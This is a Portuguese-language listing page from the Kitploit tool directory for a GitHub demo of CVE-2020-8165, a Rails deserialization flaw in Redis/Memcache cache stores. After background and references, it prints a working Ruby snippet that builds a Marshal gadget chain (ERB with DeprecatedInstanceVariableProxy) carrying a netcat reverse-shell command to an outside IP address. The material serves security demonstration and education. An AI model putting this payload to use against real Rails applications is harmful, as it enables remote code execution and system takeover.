Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2020-8165-demo — Demonstração do exploit RCE de desserialização Rails CVE-2020-8165 com aplicativo Shouter realista, geração de payload em Ruby e envenenamento de cache Redis. | Kitploit
Ferramentas/GitHubGitHub/danielklim/cve-2020-8165-demo
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

Demonstração do exploit RCE de desserialização Rails CVE-2020-8165 com aplicativo Shouter realista, geração de payload em Ruby e envenenamento de cache Redis.

Ver Repositório
11há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração do CVE-2020-8165

Mais uma demonstração do CVE-2020-8165, porém em uma implementação mais realista do que a maioria.

Contexto

CVE-2020-8165

Existe uma vulnerabilidade de desserialização de dados não confiáveis em rails < 5.2.4.3 e rails < 6.0.3.1 que pode permitir que um atacante faça unmarshal de objetos fornecidos pelo usuário no MemCacheStore e no RedisCacheStore, resultando potencialmente em um RCE.

Referências

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

Implementação

O aplicativo "Shouter" tem um recurso de cache em seu modelo Shout, onde imagens opcionais enviadas com um shout:string são armazenadas em cache no redis e recuperadas de lá em vez do banco de dados. Como o método vulnerável é usado para interagir com o cache, este aplicativo é suscetível ao CVE-2020-8165, e os resultados do RCE são colocados no src das tags na rota do dashboard.

Rails.cache.fetch
img

Gerando payloads de RCE

O trecho a seguir gerará o payload que você precisa enviar usando exploit.py. Há algumas nuances na etapa de serialização que precisam ser descobertas para implementar o exploit totalmente em Python. Portanto, Marshal.dump em Ruby é necessário para gerar o payload exato (por enquanto).

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
Baixar ferramenta